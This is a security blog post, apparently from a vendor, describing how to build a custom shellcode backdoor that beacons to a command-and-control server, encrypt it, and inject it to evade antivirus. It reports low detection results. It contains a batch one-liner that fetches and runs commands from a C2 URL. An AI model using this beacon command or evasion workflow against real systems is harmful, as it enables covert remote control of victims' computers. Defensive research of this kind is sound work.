Shellcode injection is one of the most used defence evasion techniques because shellcode is injected into volatile memory, therefore there are no traces left of any exploitation. Apart from the injector itself, shellcode injection can be called fileless or partial fileless malware. Since there are no files being dropped on the system, the chances of detection are very few.
However, shellcodes generated by tools like msfvenom are highly detectable due to updated signatures. But what if a custom shellcode has been created and injected in the memory? The signatures of custom shellcodes are unknown to AV/EDR. Moreover, shellcodes are machine instructions that are very hard to analyse in a victim process having thousands of lines of machine code. The only detection that could be possible is the use of injection APIs on which EDRs have added hooks, but there is a separate discussion on how to bypass API hooking using syscalls.
If a high-quality injector that uses syscalls and bypasses API hooking injects a custom shellcode in the memory of a victim process, then the detection rate is reduced to 5 percent as per current technology. In this blog we will focus on creating custom shellcodes and show why a custom shellcode is the epitome of defence evasion.

Writing Position-Independent Code
One problem that everyone faces while writing a custom shellcode is that it is a very tedious process: writing position-independent code in assembly language, linking it to an executable, and then extracting the shellcode from that binary. However, I came across a very good paper by hasherezade that uses Visual Studio to generate assembly from a C/C++ project and then converts it to shellcode.
I will follow the methodology provided by hasherezade to create a custom position-independent backdoor communicating on a C2 over HTTPS to execute batch commands on the victim system. The shellcode will be a beacon-type payload that communicates with the C2 every 10 seconds.
The first requirement for creating a custom shellcode is to write position-independent code, meaning no external libraries or dependencies must be used in the binary. Hasherezade provided a header file in her GitHub repo defining two main functions: get_module_by_name for loading libraries like kernel32.dll or user32.dll, and get_func_by_name for resolving the address of functions present in available modules. In my C/C++ code I just add this header file and resolve two functions, LoadLibraryA and GetProcAddress, from the module kernel32.dll. Once these are successfully resolved, I can load any module using LoadLibraryA and call any function from the loaded module using GetProcAddress.
For position-independent code, the whole code must reside in a single section like the .text section of the generated binary so that it can be easily extracted. This means string variables or char arrays cannot be used directly because they are saved in the .data section. I must either inline the strings or write stack-based strings that are automatically saved in the .text section of the binary.

Stack-based strings for PIC
Loading APIs via peb_lookup.h
The next step is to load the addresses of LoadLibraryA and GetProcAddress by adding the module of kernel32.dll in the code using hasherezade’s provided header file peb_lookup.h.

Hasherezade’s peb_lookup.h
Now that I have found the addresses of LoadLibraryA and GetProcAddress in their respective variables, I can add any module I want and call any API I need. Same as the method of function call obfuscation, I’m now indirectly resolving API imports. For executing commands on the system I decided to resolve the WinExec API. For indirectly loading all these APIs using the function address, the function definitions are needed, which I looked up on the MSDN documentation page of Microsoft.

Indirectly resolving API imports
Command & Control Architecture
This code is now completely position-independent, using APIs of LoadLibraryA, GetProcAddress, WinExec, and Sleep from the kernel32 module without using the import address table for resolving these imports. Since I have access to the WinExec function API, I can use the command line to communicate with the server via a simple curl command for this PoC.
On the server side, I added a PHP script on a public domain that takes an input command and saves it on a subdomain which is contacted by my shellcode via GET every 10 seconds to receive and execute the command on the victim PC.

Command & Control
This is a simple command and control server that takes a command as input and updates it on a specific subdomain, which is contacted by my shellcode after every 10 seconds to receive and execute the command, making it a beacon-type backdoor. I put WinExec in a while(true) loop with a Sleep of 10 seconds.
The batch command used for communicating with the subdomain to GET the command:
for /f "delims=" %i in ('curl URL_HERE') do set output=%i && %i
Compiling C to Assembly to Shellcode
My position-independent beacon backdoor code is completed. I will now convert this C code into assembly and from assembly to shellcode. I use the Visual Studio Developer Command Prompt for compiling the C/C++ code into assembly using MSVC. In the dev prompt, I entered the command that uses cl.exe to generate an assembly listing from a source file.

Generating assembly from C project
Now the .asm file has been created. I need to resolve a few syntax errors and add 16-byte stack alignment for the x64 version shellcode that I picked from PIC_Bindshell. I also removed external dependencies and resolved some syntax errors like adding square brackets to mov rax, QWORD PTR gs:[96].

Removing dependencies and syntax errors in assembly code
Assembly is generated from the C code. Now I will link this assembly to an executable with AlignRSP proc as my start function, which first aligns the stack to 16-bytes and then calls the main function. If the generated binary executes without errors, the shellcode will also be in working condition.
The command for generating a binary from assembly listings:
"C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.31.30133\bin\Hostx64\x64\ml64.exe" backdoor.asm /link /entry:AlignRSP

Command executed, Calculator popped up
The generated binary is receiving commands from the server and executing on the victim system. I gave the command "start calc" on the C2 server so the binary received that command and opened a calculator on the victim machine. The next step is to extract the shellcode from the .text section of this position-independent binary.
Extracting and Encrypting the Shellcode
For extracting shellcode I’m using CFF Explorer Suite. It is very simple, open the binary in CFF Explorer, go to the text section, and copy all hex code.

Extracting shellcode
To test the shellcode I will inject it into a process using my own injector called Donut, which saves the encrypted shellcode in its .data section and decrypts it before injecting into the process. The encrypted shellcode reduces the chance of detection further. For encryption I created a custom AES shellcode encryptor which takes a shellcode .bin file and encrypts it using a key.

Shellcode encryption using AES_Shellcode_Encryptor
I saved this encrypted shellcode in my Donut injector. This injector creates a process, injects the code inside it, and starts it as a new thread. When executed, a calculator pops up because I provided that command on the C2 server. I also changed the command to open Paint to verify the C2 is working correctly.

Calculator popped open

Paint popped open using Command & Control
As you can see, any command given on the Command & Control is being executed on the system. The code for the position-independent backdoor is available on my GitHub repository.
Conclusion
Windows Defender was not able to detect anything malicious from injecting the custom shellcode into processes. The conclusion is that if a custom shellcode is used with a high-quality injector, the detection rate of malware is reduced to very low. The analysis is even harder when the custom shellcode is injected into the process and the injector deletes itself. This is just a PoC proving the point that commands can be executed remotely on the victim system in a number of ways. The code could be further modified to return the output of each command back to the C2 server, making it a reliable backdoor. The injector was also scanned on malware scanners like antiscan.me and the result was very promising.

Malware scanner result, 1/26 detection
References
Originally published on cytomate.net
